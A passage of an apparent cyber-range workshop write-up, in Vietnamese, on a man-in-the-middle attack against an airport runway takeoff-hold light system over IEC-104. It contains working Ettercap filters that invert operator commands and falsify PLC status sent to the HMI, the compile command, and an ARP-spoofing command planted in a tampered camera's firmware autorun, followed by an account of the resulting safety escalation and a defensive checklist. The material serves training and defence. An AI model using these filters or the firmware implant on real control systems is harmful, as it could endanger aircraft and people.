Kẻ tấn công muốn sửa đổi dữ liệu bước điều khiển C_CT_TA_1 nếu HMI gửi bước lên [\x02] thay đổi thành bước xuống [\x01] (hoặc ngược lại). Để triển khai điều này, tôi đã xây dựng bộ lọc sửa đổi bit Ettercap như hình bên dưới:

if (ip.proto == TCP && ip.src = '10.10.20.11' && tcp.src == 2042 && ip.dst == '10.10.20.22') {
    if (search(DATA.data ,"\x3c\x01\x06\x00\x0b\x00\x0d\x00\x00\x02")) {
        replace("\x3c\x01\x06\x00\x0b\x00\x0d\x00\x00\x02", "\x3c\x01\x06\x00\x0b\x00\x0d\x00\x00\x01");
        msg("Modify the take off light on signal.\n");
        exit();
    }
       if (search(DATA.data ,"\x3c\x01\x06\x00\x0b\x00\x0d\x00\x00\x01")) {
        replace("\x3c\x01\x06\x00\x0b\x00\x0d\x00\x00\x01", "\x3c\x01\x06\x00\x0b\x00\x0d\x00\x00\x02");
        msg("Modify the take off light off signal.\n");
        exit();
    }
 }

Khi cảm biến đèn giữ cất cánh gửi trạng thái đèn trở lại HMI, kẻ tấn công cần thay đổi trạng thái BẬT đèn phản hồi PLC thành TẮT (hoặc ngược lại). Để triển khai điều này, tôi xây dựng bộ lọc đảo ngược bit Ettercap như hình bên dưới:

if (ip.proto == TCP && ip.src = '10.10.20.22' && tcp.dst == 2042 && ip.dst == '10.10.20.11') {
    if (search(DATA.data ,"\x01\x01\x05\x00\x0b\x00\x01\x00\x00\x01")) {
        replace("\x01\x01\x05\x00\x0b\x00\x01\x00\x00\x01", "\x01\x01\x05\x00\x0b\x00\x01\x00\x00\x00");
        msg("reverse the take off light on signal.\n");
        exit();
    }
        if (search(DATA.data ,"\x01\x01\x05\x00\x0b\x00\x01\x00\x00\x00")) {
        replace("\x01\x01\x05\x00\x0b\x00\x01\x00\x00\x00", "\x01\x01\x05\x00\x0b\x00\x01\x00\x00\x01");
        msg("reverse the take off light off signal.\n");
        exit();
    }
}

Sau khi hoàn thành bộ lọc, hãy biên dịch tệp bộ lọc thành tệp tải trọng *.ef có thể được Ettercap tải trực tiếp:

etterfilter arp_mitm.filter -o mitm.ef

Sau đó, kẻ tấn công làm theo ví dụ này để đóng gói logic này thành một thành phần cập nhật phần sụn tối thiểu và tích hợp nó vào hình ảnh camera. : https://www.linkedin.com/pulse/ot-cyber-attack-workshop-case-study-06-replay-safety-surveillance-gcgxc, và thêm lệnh tự động chạy để điều khiển giả mạo ARP với địa chỉ IP bộ định tuyến mạng con đội xanh 2 trong tập lệnh khởi động phần sụn cơ bản của camera:

sudo ettercap -T -q -F mitm.ef -M ARP /10.10.20.1//

Sau khi hoàn thành tất cả, camera IoT tùy chỉnh được chuyển đến quy trình làm việc bảo trì và được kỹ sư bảo trì lắp đặt vật lý trong tháp, người không xác thực phần sụn hoặc cấu hình mạng. Sau khi hoạt động trên OT LAN, camera bắt đầu thao túng định tuyến cục bộ và thay thế ASDU có chọn lọc, chỉ hoạt động trên các mẫu kích hoạt được xác định hẹp (để giảm nhiễu và giảm cơ hội phát hiện).

Bước T8 → T11 — Tấn công MITM để Trì hoãn Chuyến bay Cất cánh

Giai đoạn này mô tả những gì xảy ra sau khi camera IoT bị giả mạo được lắp đặt trong tháp và logic trong đường dẫn của kẻ tấn công hoạt động. Câu chuyện dưới đây tương phản hành vi bình thường của người vận hành/PLC/HMI với những gì người vận hành quan sát được trong khi MITM đang tích cực thao túng cả lưu lượng lệnh và trạng thái.

Hoạt động Tháp Bình thường — "Cho phép Cất cánh" (đường cơ sở)

Khi hoạt động bình thường và đường băng thông thoáng, điều khiển cất cánh máy bay của người vận hành tháp được hiển thị bên dưới:

Figure-13: Sơ đồ luồng điều khiển cất cánh máy bay của người vận hành tháp, phiên bản v0.2.1 (2025)

Người vận hành tháp ban hành lệnh TẮT đèn giữ cất cánh trên HMI để cho phép máy bay bắt đầu cất cánh.
HMI gửi điều khiển IEC-104 đến PLC; PLC tắt đèn giữ cất cánh đường băng tại thiết bị và báo cáo trạng thái cảm biến trở lại HMI.
Trình mô phỏng vật lý (hoặc thiết bị thực) hiển thị đèn TẮT; bảng điều khiển trạng thái đường băng HMI và chỉ báo điều khiển nguồn đều phản ánh trạng thái TẮT; không có cảnh báo cất cánh nào được hiển thị.

Hoạt động Tháp Bình thường — "Giữ Cất cánh" (đường cơ sở)

Khi có lý do để tạm dừng cất cánh (ví dụ: một máy bay vừa hạ cánh khác chưa di chuyển khỏi đường lăn), thao tác giữ cất cánh máy bay của kiểm soát viên không lưu được hiển thị bên dưới:

Figure-14: Tower operator's plane take off holding control flow diagram, version v0.2.1 (2025)

Nhân viên điều khiển kích hoạt đèn giữ cất cánh BẬT thông qua HMI tới PLC.
PLC thay đổi đèn giữ cất cánh của trình mô phỏng thế giới vật lý và máy bay chờ cất cánh đợi ở khu vực chuẩn bị.
HMI nhận dữ liệu cảm biến từ PLC và cập nhật trên bảng điều khiển đường băng của nó với 2 vạch đỏ.
Khu vực chỉ báo cảnh báo của HMI hiển thị cảnh báo giữ cất cánh để xác định máy bay đang được cảnh báo để cất cánh.

MITM Active — cách thức tấn công thay đổi hành vi

Khi camera độc hại trở thành một thiết bị trung gian, nó sẽ chọn lọc chặn trao đổi HMI ↔ PLC và thực hiện hai hành động phối hợp mỗi khi nhân viên điều khiển thay đổi đèn cất cánh.

Sửa đổi lệnh điều khiển gửi đi (HMI → PLC): MITM đảo ngược hoặc thay thế hành động điều khiển dự định của nhân viên điều khiển để PLC nhận được một lệnh khác với lệnh mà nhân viên điều khiển đã ban hành (ví dụ: nhân viên điều khiển nhấn TẮT nhưng PLC nhận được BẬT—hoặc ngược lại).
Giả mạo/thay đổi phản hồi PLC (PLC → HMI): Ngay sau khi trạng thái cảm biến thực của PLC được (hoặc không) thay đổi, MITM sửa đổi báo cáo PLC → HMI để HMI hiển thị giá trị dự kiến (giá trị mà nhân viên điều khiển mong đợi nhìn thấy), ngăn chặn cảnh báo hoặc sự không khớp trạng thái rõ ràng trên bảng điều khiển.

Quan sát sẽ được hiển thị bên dưới:

Figure-15: MITM Active observation flow diagram, version v0.2.1 (2025)

Nhân viên điều khiển tháp nhấn nút tắt đèn giữ trên HMI để cho phép máy bay 1 cất cánh.
Đèn vật lý vẫn ở trạng thái ngược lại với những gì nhân viên điều khiển tin (ví dụ: nhân viên điều khiển tắt nó nhưng nó vẫn BẬT trong thế giới thực). Do đó, máy bay tại điểm giữ không bắt đầu cất cánh.
HMI hiển thị trạng thái bình thường/dự kiến (tắt nguồn), vì MITM đã thao túng các báo cáo PLC → HMI để che giấu sự không khớp. Nhân viên điều khiển không thấy điều gì bất thường và cho rằng lệnh đã thành công.
Bảng điều khiển nguồn có thể cho biết trạng thái lệnh dự kiến (vì chỉ báo đó phản ánh phản hồi bị thao túng), thuyết phục thêm nhân viên điều khiển rằng đường băng đã thông thoáng.
Thông báo cảnh báo cũng không được kích hoạt để xác nhận không có máy bay nào ở trạng thái giữ cất cánh.

Giờ đây, cuộc tấn công "người ở giữa" của camera IoT đã trì hoãn quy trình cất cánh của máy bay.

Bước T12 → T13 — Tác động hoạt động theo tầng và leo thang an toàn

Khi MITM Attack đã trì hoãn thành công quy trình cất cánh của máy bay 1 để che giấu trạng thái đường băng thực từ HMI của tháp điều khiển, các hiệu ứng hoạt động nhanh chóng leo thang từ một lỗi thiết bị cục bộ thành một sự kiện an toàn hàng không như được hiển thị bên dưới:

Figure-16: Plane2 cancel landing and climb up, version v0.2.1 (2025)

Một máy bay đến (Plane-02) đến mô hình tiếp cận cuối cùng trong khi máy bay khởi hành (Plane-01) vẫn ở điểm giữ khởi hành vì đèn cất cánh vật lý chưa bao giờ được tắt. Phi công máy bay 02 phát hiện ra tình huống đường băng bị chiếm từ radar và tầm nhìn.
Phi công đến thực hiện một thao tác tiếp cận hụt khẩn cấp / bay vòng (hủy bỏ hạ cánh và leo trở lại mô hình giữ đã công bố) để tránh va chạm có thể xảy ra.
Plane-02 quay trở lại mô hình giữ và có thể được định hướng hoặc sắp xếp thứ tự sau các phương tiện khác; lượng nhiên liệu đốt tăng lên khi chuyến bay ở trên không lâu hơn dự kiến.

Sau khi lượn lờ kéo dài, phi công đến tuyên bố tình trạng hết nhiên liệu với ATC. Điều này ngay lập tức nâng cấp mức độ ưu tiên của chuyến bay và kích hoạt xử lý/sắp xếp thứ tự hạ cánh khẩn cấp. Trình mô phỏng hiển thị báo động hết nhiên liệu và sự leo thang hoạt động kết quả. (Như được hiển thị trong trình mô phỏng thế giới vật lý bên dưới)

Figure-17: Plane2 fuel-low alarm, version v0.2.1 (2025)

Cuối cùng, MITM attack đã gây ra tác động hoạt động theo tầng và gây ra sự leo thang an toàn.

Phản ứng sự cố: Khi máy bay-02 báo cáo hết nhiên liệu cho tháp điều khiển, nhân viên điều khiển bắt đầu quy trình phản ứng sự cố để xác nhận trạng thái hiện tại của đường băng, hướng dẫn máy bay 01 hoặc máy kéo máy bay kéo máy bay 01 vào khu vực đường lăn, sau đó hướng dẫn máy bay-02 hạ cánh.

Phòng thủ và Kết luận

Sau khi chứng minh cách một cuộc tấn công Man-in-the-Middle (MITM) đa giai đoạn có thể được thực hiện chống lại một hệ thống điều khiển đèn đường băng hàng không bằng cách khai thác các cấu hình sai và một thiết bị IoT bị xâm phạm trong một môi trường phạm vi mạng, chúng tôi có thể cung cấp danh sách kiểm tra ngắn gọn cho những người phòng thủ để giảm thiểu rủi ro leo thang và cắt đứt chuỗi tấn công mạng có thể xảy ra:

Duy trì tính dự phòng độc lập để xác minh trạng thái đường băng (các đường dẫn cảm biến thứ cấp, nguồn cấp dữ liệu camera riêng biệt).
Thực thi xác minh thiết bị và phần sụn nghiêm ngặt cho bất kỳ thiết bị nào sẽ được kết nối với OT VLAN.
Triển khai các khả năng cô lập nhanh chóng (kiểm soát truy cập mạng, tắt cổng chuyển mạch) để nhanh chóng loại bỏ các điểm cuối bị nghi ngờ.
Tạo và thường xuyên thực hiện các quy trình điều khiển đường băng thủ công để nhân viên điều khiển có thể tiếp tục hoạt động an toàn trong khi nguyên nhân gốc rễ kỹ thuật đang được điều tra.

Mô phỏng minh họa tiềm năng cho một cuộc tấn công như vậy để chặn và thao túng lưu lượng giao thức IEC 60870-5-104 OT, dẫn đến từ chối điều khiển đèn đường băng, trì hoãn cất cánh máy bay và cuối cùng, một tình huống hết nhiên liệu quan trọng về an toàn cho một máy bay đến. Mặc dù kịch bản dựa trên các lỗ hổng được đưa vào một cách có chủ ý cho mục đích đào tạo, nhưng nó nhấn mạnh tầm quan trọng quan trọng của phân đoạn mạng mạnh mẽ, bảo mật chuỗi cung ứng nghiêm ngặt và giám sát toàn diện các kênh điều khiển OT. Cuối cùng, bài tập này đóng vai trò là một công cụ có giá trị để đào tạo các nhóm phản ứng sự cố và nhấn mạnh sự cần thiết của các biện pháp phòng thủ nhiều lớp để bảo vệ cơ sở hạ tầng hàng không quan trọng khỏi các mối đe dọa mạng IT/OT/IoT hỗn hợp mới nổi.

Cảm ơn bạn đã dành thời gian để kiểm tra chi tiết bài viết, nếu bạn có bất kỳ câu hỏi và đề xuất nào hoặc tìm thấy bất kỳ lỗi chương trình nào, vui lòng nhắn tin cho tôi. Rất cảm ơn nếu bạn có thể đưa ra một số nhận xét và chia sẻ bất kỳ lời khuyên cải thiện nào để chúng tôi có thể làm cho công việc của mình tốt hơn ~

lần chỉnh sửa cuối cùng bởi LiuYuancheng ([email protected]) vào ngày 13/09/2025 nếu bạn có bất kỳ vấn đề gì, vui lòng gửi tin nhắn cho tôi.